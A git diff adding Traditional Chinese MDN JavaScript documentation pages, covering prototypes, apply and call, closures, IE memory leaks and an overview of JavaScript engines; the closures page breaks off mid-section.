+function personFullNameReversed(person) {
+    return person.last + ', ' + person.first
+}
+&gt; s = makePerson("Simon", "Willison");
+&gt; personFullName(s)
+Simon Willison
+&gt; personFullNameReversed(s)
+Willison, Simon
+</pre>
+
+<p>雖然這樣行得通，可是這樣很醜，在全域命名空間 (global namespace) 裡灑了一堆函式。我們需要把函式「附著」(attach) 到物件上。由於函式也是物件，這麼做並不難：</p>
+
+<pre class="brush: js">function makePerson(first, last) {
+    return {
+        first: first,
+        last: last,
+        fullName: function() {
+            return this.first + ' ' + this.last;
+        },
+        fullNameReversed: function() {
+            return this.last + ', ' + this.first;
+        }
+    }
+}
+&gt; s = makePerson("Simon", "Willison")
+&gt; s.fullName()
+Simon Willison
+&gt; s.fullNameReversed()
+Willison, Simon
+</pre>
+
+<p>這裡出現了之前沒有提過的 '<code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/Special_Operators/this_Operator">this</a></code>' 關鍵字。在一個函式內，「<code>this</code>」 指的是目前的物件。其真正的意義是經由你呼叫函數的方式來指定。如果你透過在物件上使用<a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/Member_Operators" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/Member_Operators">點或中括號記號</a>來呼叫它，這物件就成為「<code>this</code>」。如果在呼叫中沒有使用點記號，「<code>this</code>」就會參考到全域物件. 這經常造成錯誤。舉例來說：</p>
+
+<pre class="brush: js">&gt; s = makePerson("Simon", "Willison")
+&gt; var fullName = s.fullName;
+&gt; fullName()
+undefined undefined
+</pre>
+
+<p>當我們呼叫<code>fullName()</code>，「<code>this</code>」被繫結到全域物件。 既然沒有叫做 <code>first</code> 或 <code>last</code> 的全域變數，我們取得的都是 <code>undefined</code> 。  </p>
+
+<p>我們可以利用「<code>this</code>」關鍵字的好處來改進我們的 <code>makePerson</code> 函式：</p>
+
+<pre class="brush: js">function Person(first, last) {
+    this.first = first;
+    this.last = last;
+    this.fullName = function() {
+        return this.first + ' ' + this.last;
+    }
+    this.fullNameReversed = function() {
+        return this.last + ', ' + this.first;
+    }
+}
+var s = new Person("Simon", "Willison");
+</pre>
+
+<p>我們引入了另一個關鍵字：「<code><a href="/zh_tw/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator" title="zh_tw/Core_JavaScript_1.5_Reference/Operators/Special_Operators/new_Operator">new</a></code>」。 「<code>new」</code>與「<code>this</code>」有強烈的關係。 他的作用是產生一個全新的空物件，然後呼叫指定的函式，使用新物件的作為函式的「<code>this</code>」。 被「new」呼叫的函式叫做「建構子函數」(constructor functions) 。 </p>
+
+<p>此時我們可以發現，每次產生一個新的 Person 物件都會在其內部重新產生兩個新的 function 物件。如果這兩個 function 物件只有一份而讓大家共用不是更好嗎？所以</p>
+
+<pre class="brush: js">function personFullName() {
+    return this.first + ' ' + this.last;
+}
+function personFullNameReversed() {
+    return this.last + ', ' + this.first;
+}
+function Person(first, last) {
+    this.first = first;
+    this.last = last;
+    this.fullName = personFullName;
+    this.fullNameReversed = personFullNameReversed;
+}
+</pre>
+
+<p>好了，如此一來我們達到每一個 Person 物件都共用同一組 function 物件了。</p>
+
+<p>那能不能做的更好呢？</p>
+
+<pre class="brush: js">function Person(first, last) {
+    this.first = first;
+    this.last = last;
+}
+Person.prototype.fullName = function() {
+    return this.first + ' ' + this.last;
+}
+Person.prototype.fullNameReversed = function() {
+    return this.last + ', ' + this.first;
+}
+</pre>
+
+<p>Person.prototype 是一個由所有 Person 物件共享的物件。他將產生一個可供查看的關係鍊 (有個特殊的名字 <span style="color: #0000cd;">prototype chain</span>)。任何時候當我們想要使用某個不在 Person 中定義的 property 時，JavaScript 就會到 Person.prototype 裡頭尋找。因此， Person.prototype 就成為一個所有 Person 物件共用且可視的一個共享空間(物件)。這是一個提供強大工具，允許你可以在執行的任何一刻增加物件的相關函式。</p>
+
+<pre class="brush: js">&gt; s = new Person("Simon", "Willison");
+&gt; s.firstNameCaps();
+TypeError on line 1: s.firstNameCaps is not a function
+&gt; Person.prototype.firstNameCaps = function() {
+    return this.first.toUpperCase()
+}
+&gt; s.firstNameCaps()
+SIMON
+</pre>
+
+<p>另外，有趣的是，在 JavaScript 中，你不只能加入東西到你自創的物件，甚至可以加入到 JavaScript 原生的物件中！如下面舉例：</p>
+
+<pre class="brush: js">&gt; var s = "Simon";
+&gt; s.reversed()
+TypeError on line 1: s.reversed is not a function
+&gt; String.prototype.reversed = function() {
+    var r = "";
+    for (var i = this.length - 1; i &gt;= 0; i--) {
+        r += this[i];
+    }
+    return r;
+}
+&gt; s.reversed()
+nomiS
+</pre>
+
+<p>我們新加入 String 的 reversed 函式亦可反應在字串物件上！如下所示：</p>
+
+<pre class="brush: js">&gt; "This can now be reversed".reversed()
+desrever eb won nac sihT
+</pre>
+
+<p>承接以前提過的，prototype 會是 chain 的一部分，是以很直觀的，根就是 Object.prototype 了。在 Object.prototype 提供的眾多函式中包含一個 toString() - 他在當你創建一個字串物件時被呼叫。因此我們可以利用他來對我們的 Person 物件 debug：</p>
+
+<pre class="brush: js">&gt; var s = new Person("Simon", "Willison");
+&gt; s.toString()
+[object Object]
+&gt; Person.prototype.toString = function() {
+    return '&lt;Person: ' + this.fullName() + '&gt;';
+}
+&gt; s
+&lt;Person: Simon Willison&gt;
+</pre>
+
+<p>還記得前面提過的 apply() 嗎？當時我們在 avg.apply() 的第一個參數送進 null。現在我們回過頭來解釋 apply()。其實 apply() 的第一個參數會被當成 "this"。舉例來說，我們可以利用 apply() 實作一個 trivialNew() 使他的效果等同於平時使用的 new()：</p>
+
+<pre class="brush: js">function trivialNew(constructor) {
+    var o = {}; // Create an object
+    constructor.apply(o, arguments);
+    return o;
+}
+</pre>
+
+<p>當我們這樣做時，並不會產生一個類似於 new() 的函式在 prototype 中。此外，apply() 有一個姊妹函式叫做 <span style="color: #0000cd;">call</span><span style="color: #000000;">，差異在於 call() 接受一個可被擴展的參數串列而非一個陣列。</span></p>
+
+<pre class="brush: js">function lastNameCaps() {
+    return this.last.toUpperCase();
+}
+var s = new Person("Simon", "Willison");
+lastNameCaps.call(s);
+// Is the same as:
+s.lastNameCaps = lastNameCaps;
+s.lastNameCaps();
+</pre>
+
+<h3 id=".E5.B7.A2.E7.8B.80.E5.87.BD.E5.BC.8F" name=".E5.B7.A2.E7.8B.80.E5.87.BD.E5.BC.8F">巢狀函式</h3>
+
+<p>JavaScript 函式宣告可以放在其他函式內。我們之前有在 <code>makePerson()</code> 函式見過這個。巢狀函式的一樣重要的功能是：它們可以存取其母函式 (parent function) 的領域 (scope) 內的變數：</p>
+
+<pre class="brush: js">function betterExampleNeeded() {
+    var a = 1;
+    function oneMoreThanA() {
+        return a + 1;
+    }
+    return oneMoreThanA();
+}
+</pre>
+
+<p>這對於寫更容易維護的程式碼來說很有用。假如某函式需要其他一兩個函式，而這一兩個函式在整個程式的其他部分都不需要用到，你便可以把這些所謂「工具函式」(utility function) 給巢狀性地包在需要它們的函式內，這個主要函式再從其他地方呼叫。這樣便能保持全域領域 (global scope) 的函式不會太多。不在全域領界內塞太多函式是件好事情。</p>
+
+<p>這也能反制全域變數 (global variable) 的誘惑。在撰寫複雜的程式碼的時候，常常會有想利用全域變數來在多個函式之間傳遞數值的這種誘惑－－但這麼做，便會導致程式碼非常難以維護。巢狀函式可與其母函式一起共用變數，因此你可以用這個原理來在適當的時機將好幾個函式配在一起，而不用「汙染」全域命名空間 (global namespace)－－這可以稱做「本地變數」 (local variable)。使用此技巧時應當小心，不過，此技巧相當有用。</p>
+
+<h3 id="Closures" name="Closures">閉包</h3>
+
+<p>接著我們介紹一種十分強大卻也常使人困惑的機制：閉包 (closure)。在解釋之前，我們先看看下面這段程式，猜猜執行的結果是什麼。</p>
+
+<pre class="brush: js">function makeAdder(a) {
+    return function(b) {
+        return a + b;
+    }
+}
+x = makeAdder(5);
+y = makeAdder(20);
+x(6)
+?
+y(7)
+?
+</pre>
+
+<p>答案揭曉，makeAdder 創造了一個 "adder" 函式，這個新的 "adder" 接受一個參數並將這個參數和 "adder" 被創造時的參數加在一起。</p>
+
+<p>這裡發生的事情很類似先前提過的「內部函式」(inner function)：一個新的函式被創造在別的函式內部，並且可以接觸到外面函式的變數。但不同的地方在於，內部函式中一旦回到上層函式，其先前創造的內部函式中的本地變數就消滅了（因為作用域結束了）。但在閉包中，這些本地變數卻<strong>依然存在</strong>（有一種本地變數在離開作用域的那一刻被凍結的感覺！）－－否則我們上面例子中的 adder 就無法運作了。說到這裡，你應該知道結果了。x(6) 是 11 而 y(7) 是 27。</p>
+
+<p>更進一步解釋，在 JavaScript 中，只要你開始執行一個函式，那麼就會出現一個「作用域」物件。作用域物件可以根據傳入的參數來做初始化的動作。這聽起來有點類似存放所有全域變數和全域函數的全域物件，但他們卻有幾點不同。首先，一個新的作用域物件是在任何該函式被執行時才產生，而全域物件直接的被使用，而必須進入該作用域才能操作。</p>
+
+<p>再論 makeAdder。當它被呼叫時，一個新的作用域物件被產生，並且帶著一個 property a 在其中（這是由呼叫 makeAdder 者傳入的）。隨後 makeAdder 回傳一個新創的函式。正常情況下，JavaScript 的垃圾回收機制理應回收這個作用域物件，但在我們的例子中，回傳的函式卻保留了一個可以再次訪問此作用域物件的參照。因此，這個作用域物件便沒被真正回收－－必須等到未來沒有任何參照可以指向它，方能回收。</p>
+
+<p>多個作用域物件會組成作用域鏈 (scope chain)，類似於 JavaScript 物件系統中的原型鏈。</p>
+
+<p>簡單地做個結論，閉包是作用域物件和一個函式的組合，反映了其被創造之時的狀態。閉包允許你保留狀態，而這是很常用的功能。</p>
+
+<h3 id="Memory_leaks" name="Memory_leaks">記憶體流失</h3>
+
+<p>雖然閉包很方便，但卻容易在 IE 中造成記憶體流失。</p>
+
+<p>JavaScript 是具有垃圾回收特性的語言，物件的生滅都是由執行環境（如瀏覽器）所控制。</p>
+
+<ol>
+ <li>記憶體配置：創造物件時 </li>
+ <li>記憶體釋放：當沒有參照可以指向該物件時</li>
+</ol>
+
+<p>當瀏覽器在執行的時候，需要維護來自<span style="color: #0000cd;"> DOM</span> 的大量物件。IE 使用自己的垃圾回收機制，而這個管理機制和 JavaScript 的不同－－這就造成了記憶體流失。</p>
+
+<p>在我們這裡的例子中，記憶體流失源自於環狀的相互參照 (circular reference)－－ JavaScript 物件及原生物件之間的相互參照。以下面的程式為例：</p>
+
+<pre class="brush: js">function leakMemory() {
+    var el = document.getElementById('el');
+    var o = { 'el': el };
+    el.o = o;
+}
+</pre>
+
+<p>此時便發生了記憶體流失。除非 IE 重新啟動，否則 el 和 o 使用的記憶體皆無法被釋放。這種例子容易因不小心而出現。</p>
+
+<p>其實記憶體流失很難引起注意，除非</p>
+
+<ol>
+ <li>程式需要長期執行</li>
+ <li>因記憶體流失而消耗大量的記憶體</li>
+ <li>迴圈中明顯地浪費記憶體</li>
+</ol>
+
+<p>閉包容易產生記憶體流失。如下舉例 : </p>
+
+<pre class="brush: js">function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+}
+</pre>
+
+<p>在這段程式中，我們設定了一個 element，讓它可以在被點選時變紅。這裡形成了記憶體流失。你發現了嗎？因為指向 el 的參照不經意地被由匿名內部函式產生的閉包連結了。這就在 JavaScript 物件 (function) 和原生物件 (el) 之間產生了相互參照。</p>
+
+<p>在現實生活中充滿了類似的案例，但我們其實可以很容易地處理。看一個簡單的示範：</p>
+
+<pre class="brush: js">function addHandler() {
+    var el = document.getElementById('el');
+    el.onclick = function() {
+        this.style.backgroundColor = 'red';
+    }
+    el = null;
+}
+</pre>
+
+<p>如此一來我們解除了相互參照。</p>
+
+<p>此外，尚有一種巧妙的方式可以藉由增加一個新的閉包來消除相互參照：</p>
+
+<pre class="brush: js">function addHandler() {
+    var clickHandler = function() {
+        this.style.backgroundColor = 'red';
+    }
+    (function() {
+        var el = document.getElementById('el');
+        el.onclick = clickHandler;
+    })();
+}
+</pre>
+
+<p>在此例子中，隱藏了來自 clickHandler 產生的內容，因而消除了相互參照。</p>
+
+<p>避免閉包還有另外一種方法：利用 <code>window.onunload</code> 事件消除相互參照。許多事件函示庫都會自動這麼做。</p>
+
+<div class="originaldocinfo">
+<h2 id=".E5.8E.9F.E5.A7.8B.E6.96.87.E4.BB.B6.E8.B3.87.E8.A8.8A" name=".E5.8E.9F.E5.A7.8B.E6.96.87.E4.BB.B6.E8.B3.87.E8.A8.8A">原始文件資訊</h2>
+
+<ul>
+ <li>作者：<a class="external" href="http://simon.incutio.com/">Simon Willison</a></li>
+ <li>最後更新日期：2006 年 3 月 7 日</li>
+ <li>著作權：© 2006 Simon Willison，Creative Commons: Attribute-Sharealike 2.0 （創用：姓名標示-相同方式分享 2.0）授權。</li>
+ <li>更多資訊：其他關於這份教學的資訊（以及原作者所用的投影片）請前往原作者的網誌：<a class="external" href="http://simon.incutio.com/archive/2006/03/07/etech">Etech weblog</a>。</li>
+</ul>
+</div>
+
+<p> </p>
diff --git a/files/zh-tw/web/javascript/about_javascript/index.html b/files/zh-tw/web/javascript/about_javascript/index.html
new file mode 100644
index 0000000000..be8c2a733f
--- /dev/null
+++ b/files/zh-tw/web/javascript/about_javascript/index.html
@@ -0,0 +1,69 @@
+---
+title: About JavaScript
+slug: Web/JavaScript/About_JavaScript
+translation_of: Web/JavaScript/About_JavaScript
+---
+<div>{{JsSidebar}}</div>
+
+<h2 id="What_is_JavaScript.3F" name="What_is_JavaScript.3F">什麼是 JavaScript?</h2>
+
+<p>JavaScript<sup>®</sup> 是被用在上百萬的網頁和伺服器應用程式的一種網景開發物件腳本語言。Netscape's JavaScript 是 ECMA-262 Edition 3 (<a href="/en-US/docs/JavaScript/Language_Resources" title="ECMAScript">ECMAScript</a>)的基礎標準腳本語言，兩者之間從公佈的標準只有輕微的差異。</p>
+
+<p>相對於常見的誤解，JavaScript 不是<span class="atn">“</span>解釋型的 Java<span class="atn">”</span>。簡言之，JavaScript 是一種動態的腳本語言，支持基於原型的物件結構。基本語法是故意類似 Java 和 C + + 來減少需要學習語言的新概念。語言結構，如 if 語句，for 和 while 迴圈，和switch，並try ... <span class="hps">catch塊的功能</span>在這些語言中的相同（或接近）。</p>
+
+<p>JavaScript可以作為一個程序和一個物件導向的語言。創建物件的 JavaScript 編程，通過附加的方法和屬性，否則空物件在運行時，而不是編譯語言如 C + + 和 Java 中常見語法類定義。一旦已建成一個物件，它可以被用來作為創建類似的物件的藍圖。</p>
+
+<p>JavaScript 的動態能力包括運行時物件的結構，可變參數列表，函數變量，動態腳本創建（透過 eval），物件自我檢查（透過 <code>for ... in</code>），原始碼恢復（ JavaScript 程序可以將函式反編譯回原始碼）</p>
+
+<p>內在的對象是數字，字符串，布林，日期， <span>正規表示法</span>和數學。</p>
+
+<p>更深入討論 JavaScript 編程遵循下面的 JavaScript 資源</p>
+
+<h2 id="What_JavaScript_implementations_are_available.3F" name="What_JavaScript_implementations_are_available.3F">JavaScript的應用有哪些？</h2>
+
+<p>mozilla.org 主持兩個 JavaScript 應用。有史以來第一次創建 JavaScript 是在 Netscape 的布倫丹·艾希，並已被更新（在 JavaScript1.5），以符合 ECMA-262第5版。這台發動機，代號為 SpiderMonkey 的，在C中實行。Rhino 引擎，主要由 Norris Boyd（也在網本）創建是在 Java 中的 JavaScript 實行。像 SpiderMonkey 一樣，Rhino 是ECMA-262第3版標準。</p>
+
+<p>SpiderMonkey 的 JavaScript 引擎不時被添加到一些優化，如的 TraceMonkey（火狐3.5），JägerMonkey（火狐4）和 IonMonkey的。</p>
+
+<p>除了上述的實現，也有其他如流行的 JavaScript 引擎：-</p>
+
+<ul>
+ <li>谷歌的 V8 引擎，這是谷歌 Chrome 瀏覽器使用的。</li>
+ <li>JavaScriptCore 被用在一些 WebKit 瀏覽器中，如蘋果的 Safari</li>
+ <li>carakan 在 Opera。</li>
+</ul>
+
+<p>在 Internet Explorer 中使用的 Chakra 引擎，在技術上是一個 JScript 引擎，而不是一個 JavaScript 引擎。</p>
+
+<p>每個 mozilla.org 的 JavaScript 引擎，暴露了一個公共API應用程序可以調用的 JavaScript 支持。到目前為止，最常見的宿主環境為 JavaScript 是網路瀏覽器。 網路<span class="hps">瀏覽器</span>通常使用公共 API 來創建<span class="atn">“宿主對象”</span>負責反映 DOM 到 JavaScript。</p>
+
+<p>另一個常見的應用是為 JavaScript（Web）伺服器端腳本語言。一個 JavaScript 的 Web 服務器會暴露主機對象代表一個 HTTP 請求和響應物件，由 JavaScript 動態生成網頁的程序操作。</p>
+
+<p>對於在自己的應用程序中嵌入 JavaScript 的詳細信息，下面的 SpiderMonkey 或 Rhino 鏈接下面，或訪問我們的上 netscape.public.mozilla.jseng 新</p>
+
+<h2 id="JavaScript_resources" name="JavaScript_resources">JavaScript資源</h2>
+
+<dl>
+ <dt><a href="/en-US/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a></dt>
+ <dd>嵌入到 JavaScript 的具體信息在C引擎</dd>
+ <dt><a href="/en-US/docs/Rhino" title="Rhino">Rhino</a></dt>
+ <dd>在 Java 編寫的 JavaScript 執行的具體信息。 (aka Rhino).</dd>
+ <dt><a href="/en-US/docs/JavaScript/Language_Resources" title="JavaScript_Language_Resources">Language resources</a></dt>
+ <dd>指針出版的 JavaScript 標準，LiveConnect 文檔和 JavaScript 2.0 的工作。</dd>
+ <dt><a href="/en-US/docs/Tamarin" title="Tamarin">Tamarin Project</a></dt>
+ <dd>信息上的高性能，開放原始碼 JavaScript 2.0 的虛擬機。</dd>
+ <dt><a href="/en-US/docs/JavaScript/A_re-introduction_to_JavaScript" title="A_re-introduction_to_JavaScript">A re-introduction to JavaScript</a></dt>
+ <dd>核心 JavaScript1.5 指南和核心 JavaScript1.5 參考</dd>
+ <dt><a class="external" href="http://www.mozilla.org/js/scripting/">Scripting resources</a></dt>
+ <dd>JavaScript 腳本資源的指針，包括推薦閱讀，在線參考和教程和示例代碼</dd>
+ <dt><a class="external" href="http://www.mozilla.org/js/projects.html">Projects page</a></dt>
+ <dd>使用開源 JavaScript 引擎列出的其他項目。</dd>
+ <dt><a class="external" href="http://www.mozilla.org/js/tests/library.html">Test library page</a></dt>
+ <dd>核心 JavaScript 測試套件的信息。</dd>
+ <dt><a class="external" href="http://groups.google.com/group/mozilla.dev.tech.js-engine">mozilla.dev.tech.js-engine</a></dt>
+ <dd>新聞組討論有關 JavaScript 引擎。</dd>
+ <dt><a class="external" href="http://groups.google.com/group/comp.lang.javascript/topics/" title="http://groups.google.com/group/comp.lang.javascript/topics/">comp.lang.javascript</a></dt>
+ <dd>有關 ECMAScript 的，大多（雖然不一定）的一般性討論的新聞組，因為它涉及到瀏覽器。</dd>
+</dl>
+
+<p>JavaScript 是在美國和其他國家的 Oracle 公司的商標或註冊商標。</p>
diff --git a/files/zh-tw/web/javascript/closures/index.html b/files/zh-tw/web/javascript/closures/index.html
new file mode 100644
index 0000000000..5dbd00dbff
--- /dev/null
+++ b/files/zh-tw/web/javascript/closures/index.html
@@ -0,0 +1,396 @@
+---
+title: 閉包
+slug: Web/JavaScript/Closures
+translation_of: Web/JavaScript/Closures
+---
+<div>{{jsSidebar("Intermediate")}}</div>
+
+<p class="summary">閉包（Closure）是函式以及該函式被宣告時所在的作用域環境（lexical environment）的組合。</p>
+
+<h2 id="語法作用域（Lexical_scoping）">語法作用域（Lexical scoping）</h2>
+
+<p>思考這個例子：</p>
+
+<div>
+<pre class="brush: js notranslate">function init() {
+  var name = "Mozilla"; // name 是個由 init 建立的局部變數
+  function displayName() { // displayName() 是內部函式，一個閉包
+    alert(name); // 使用了父函式宣告的變數
+  }
+  displayName();
+}
+init();</pre>
+</div>
+
+<p><code>init()</code> 建立了局部變數 <code>name</code> 與 <code>displayName()</code> 函式。<code>displayName()</code> 是個在 <code>init()</code> 內定義的內部函式，且只在該函式內做動。<code>displayName()</code> 自己並沒有局部變數，不過它可以訪問外面函式的變數、因而能取用在父函式宣告的變數 <code>name</code>。</p>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/78dg25ax/", "js,result", 250)}}</p>
+
+<p><a href="http://jsfiddle.net/xAFs9/3/" title="http://jsfiddle.net/xAFs9/">運行</a>這個程式碼並注意 <code>displayName()</code> 裡面的 <code>alert()</code> 宣告，它能顯示位於上一層的 <code>name</code> 變數。這實例在描述<em>語法作用域</em>碰上巢狀函式時，解析器（parser）會如何解讀（resolve）變數。「作用域」一詞，指的正是作用域環境在程式碼指定變數時，使用 location 來決定該變數用在哪裡的事情。巢狀函式的內部函式，能訪問在該函式作用域之外的變數。</p>
+
+<h2 id="閉包">閉包</h2>
+
+<p>再思考這個例子：</p>
+
+<pre class="brush: js notranslate">function makeFunc() {
+  var name = "Mozilla";
+  function displayName() {
+    alert(name);
+  }
+  return displayName;
+}
+
+var myFunc = makeFunc();
+myFunc();
+</pre>
+
+<p>若你執行這個程式碼，它會與前例 <code>init()</code> 有相同結果：字串 Mozilla 會以 JavaScript alert 提示顯示出來。但箇中不同、且頗具趣味處，乃內部函式 <code>displayName()</code> 竟在外部函式執行前，從其回傳。</p>
+
+<p>乍看之下，這段程式碼看來不大直覺：在某些程式語言，函式內的局部變數，只會在函式的執行期間存在。當 <code>makeFunc()</code> 執行完，你可能會預期 name 變數再也無法使用。但這段能照舊運行的程式碼表明了，在 JavaScript 並不是這樣做。</p>
+
+<p>箇中理由和 JavaScript 函式的閉包有關。<em>閉包</em>為函式的組合、還有該宣告函式的作用域環境。這個環境包含閉包建立時，所有位於該作用域的區域變數。在這個例子中，<code>myFunc</code> 是 <code>displayName</code> 在 <code>makeFunc</code> 運行時所建立的實例（instance）參照。<code>displayName</code> 的實例保有了其作用域環境的參照，作用域裡則內含 <code>name</code> 變數。因此，在調用 <code>myFunc</code> 時，<code>name</code> 變數被保存、並能作它用。「Mozilla」一詞也因此傳給了 <code>alert</code>。</p>
+
+<p>這裡有個更有趣的例子：<code>makeAdder</code> 函式：</p>
+
+<pre class="brush: js notranslate">function makeAdder(x) {
+  return function(y) {
+    return x + y;
+  };
+}
+
+var add5 = makeAdder(5);
+var add10 = makeAdder(10);
+
+console.log(add5(2));  // 7
+console.log(add10(2)); // 12
+</pre>
+
+<p>在此，我們定義一個帶有單一參數 <code>x</code> 並回傳新函式的函式 <code>makeAdder(x)</code>。該新函式又帶有 <code>y</code> 參數並回傳了 <code>x</code> 與 <code>y</code> 的總和。</p>
+
+<p>本質上 <code>makeAdder</code> 乃為函式工廠：它是個建立給定值、並與其參數求和之函式。上例中我們的函式工廠建立了兩個新函式：一個給參數加 5，另一個則是 10。</p>
+
+<p><code>add5</code> 與 <code>add10</code> 都是閉包。他們共享函式的定義，卻保有不同的環境：在 <code>add5</code> 的作用域環境，<code>x</code> 是 5。而在 <code>add10</code> 的作用域環境， <code>x</code> 則是 10。</p>
+
+<h2 id="實用的閉包">實用的閉包</h2>
+
+<p>閉包實用之處，在於能讓你把一些資料（透過作用域環境）與操控這些資料的函式相關聯。很明顯地，這與把一些資料（物件屬性）與一些方法的相關聯的物件導向程式設計（object-oriented programming）相似。</p>
+
+<p>因此，在使用只含一個方法的物件之處，通常也可以使用閉包。</p>
+
+<p>在 Web 中，試圖做這種事的情況還蠻普遍的。我們寫的大多數前端 JavaScript 程式碼屬於 event-based 的：我們定義了一些行為，接著把它與用戶觸發事件（例如點擊或按鍵）連結起來。程式碼通常會以 callback 的形式連結：也就是一個處理事件回應的函式。</p>
+
+<p>例如，假設我們想在網頁上，加個能調整文字大小的按鈕。其中一個方法是用像素指定 <code>body</code> 元素的 font-size，接著透過相對的 em 單位，設置其他頁面的其他元素（如 headers）個大小：</p>
+
+<pre class="brush: css notranslate">body {
+  font-family: Helvetica, Arial, sans-serif;
+  font-size: 12px;
+}
+
+h1 {
+  font-size: 1.5em;
+}
+
+h2 {
+  font-size: 1.2em;
+}
+</pre>
+
+<p>我們的互動式文字大小按鈕，可以改變 <code>body</code> 元素的 <code>font-size</code> 屬性（property）並藉由相對單位令頁面其他元素接受相應調整。</p>
+
+<p>以下是 JavaScript：</p>
+
+<pre class="brush: js notranslate">function makeSizer(size) {
+  return function() {
+    document.body.style.fontSize = size + 'px';
+  };
+}
+
+var size12 = makeSizer(12);
+var size14 = makeSizer(14);
+var size16 = makeSizer(16);
+</pre>
+
+<p><code>size12</code>、<code>size14</code>、<code>size16</code> 現在變成能調整字體大小到 12、14、與 16 像素的函式。而我們能如下例一般，把他們附加到按鈕上（本例為連結）：</p>
+
+<pre class="brush: js notranslate">document.getElementById('size-12').onclick = size12;
+document.getElementById('size-14').onclick = size14;
+document.getElementById('size-16').onclick = size16;
+</pre>
+
+<pre class="brush: html notranslate">&lt;a href="#" id="size-12"&gt;12&lt;/a&gt;
+&lt;a href="#" id="size-14"&gt;14&lt;/a&gt;
+&lt;a href="#" id="size-16"&gt;16&lt;/a&gt;
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/vnkuZ/7726/","","200")}}</p>
+
+<h2 id="使用閉包模擬私有方法">使用閉包模擬私有方法</h2>
+
+<p>諸如 Java 之類的程式語言，提供了私有方法宣告的能力，意味著它們只能被同一個 class 的其他方法呼叫。</p>
+
+<p>JavaScript 並沒有的提供原生的方法完成這種事，不過它藉由閉包來模擬私有方法。私有方法不只能限制程式碼的存取，它還提供了強而有力的方式來管理全域命名空間，避免非必要的方法弄亂公開介面。</p>
+
+<p>以下展示如何使用閉包來定義一個能夠訪問私有函式與變數的公開函式。這種閉包的用法稱為模組設計模式(<a class="external" href="http://www.google.com/search?q=javascript+module+pattern" title="http://www.google.com/search?q=javascript+module+pattern">module pattern</a>)。</p>
+
+<pre class="brush: js notranslate">var counter = (function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  };
+})();
+
+console.log(counter.value()); // logs 0
+counter.increment();
+counter.increment();
+console.log(counter.value()); // logs 2
+counter.decrement();
+console.log(counter.value()); // logs 1
+</pre>
+
+<p>上例的每個閉包，都有各自的環境。即使如此，我們依舊建立了一個，被三個函式共享的環境：<code>counter.increment</code>、<code>counter.decrement</code>、<code>counter.value</code>。</p>
+
+<p>該作用域環境由匿名函式的 body 建立，之後立刻執行。作用域環境還包括兩個私有項（private item）：變數 <code>privateCounter</code> 與函式 <code>changeBy</code>。這些私有項，都不會在匿名函式外直接訪問。相反地，它們要透過由匿名包裝器（anonymous wrapper）回傳的公有函式訪問。</p>
+
+<p>這三個公有函式，皆為共享同一個環境的閉包。由於 JavaScript 的語法作用域，它們都能訪問 <code>privateCounter</code> 變數與 <code>changeBy</code> 函式。</p>
+
+<div class="note">
+<p>你應該也發現到我們定義了建立 counter 的匿名函式、而我們接著呼叫它，並給<code>counter</code> 變數指派了回傳值。我們也能在分離的變數 <code>makeCounter</code> 儲存函式並用其建立數個 counter。</p>
+</div>
+
+<pre class="brush: js notranslate">var makeCounter = function() {
+  var privateCounter = 0;
+  function changeBy(val) {
+    privateCounter += val;
+  }
+  return {
+    increment: function() {
+      changeBy(1);
+    },
+    decrement: function() {
+      changeBy(-1);
+    },
+    value: function() {
+      return privateCounter;
+    }
+  }
+};
+
+var counter1 = makeCounter();
+var counter2 = makeCounter();
+alert(counter1.value()); /* Alerts 0 */
+counter1.increment();
+counter1.increment();
+alert(counter1.value()); /* Alerts 2 */
+counter1.decrement();
+alert(counter1.value()); /* Alerts 1 */
+alert(counter2.value()); /* Alerts 0 */
+</pre>
+
+<p>請注意 <code>counter1</code> 與 <code>counter2</code> 這兩個計數器是如何維護其獨立性的。每個閉包都以各自的閉包，在參照不同版本的 <code>privateCounter</code> 變數。每當呼叫其中一個計數器時，它會透過該變數的數值變更，改變語法作用域的環境。不過，在其中一個閉包的變數值改時，其他閉包的數值並不會受到影響。</p>
+
+<div class="note">
+<p>使用這種方法的閉包，提供了一些與物件導向程式設計的益處，尤其是資料隱藏與封裝。</p>
+</div>
+
+<h2 id="在迴圈建立閉包：一個常見錯誤">在迴圈建立閉包：一個常見錯誤</h2>
+
+<p>在 ECMAScript 2015 導入 <a href="/zh-TW/docs/Web/JavaScript/Reference/Statements/let" title="let"><code>let</code></a> 前，迴圈內建立的閉包，常會發生問題。請思考以下的範例：</p>
+
+<pre class="brush: html notranslate">&lt;p id="help"&gt;Helpful notes will appear here&lt;/p&gt;
+&lt;p&gt;E-mail: &lt;input type="text" id="email" name="email"&gt;&lt;/p&gt;
+&lt;p&gt;Name: &lt;input type="text" id="name" name="name"&gt;&lt;/p&gt;
+&lt;p&gt;Age: &lt;input type="text" id="age" name="age"&gt;&lt;/p&gt;
+</pre>
+
+<pre class="brush: js notranslate">function showHelp(help) {
+  document.getElementById('help').innerHTML = help;
+}
+
+function setupHelp() {
+  var helpText = [
+      {'id': 'email', 'help': 'Your e-mail address'},
+      {'id': 'name', 'help': 'Your full name'},
+      {'id': 'age', 'help': 'Your age (you must be over 16)'}
+    ];
+
+  for (var i = 0; i &lt; helpText.length; i++) {
+    var item = helpText[i];
+    document.getElementById(item.id).onfocus = function() {
+      showHelp(item.help);
+    }
+  }
+}
+
+setupHelp();
+</pre>
+
+<p>{{JSFiddleEmbed("https://jsfiddle.net/v7gjv/", "", 200)}}</p>
+
+<p><code>helpText</code> 陣列定義了三個有用的提示，每個提示都和文件內的輸入字段 ID 相關連。迴圈透過這三個定義，依序針對相對應的幫助方法（help method）添加了 <code>onfocus</code> 事件。</p>
+
+<p>若試著運行這段程式碼，你會發現它不若預期般運行：無論聚焦哪一段，訊息都是在顯示你的年齡。</p>
+
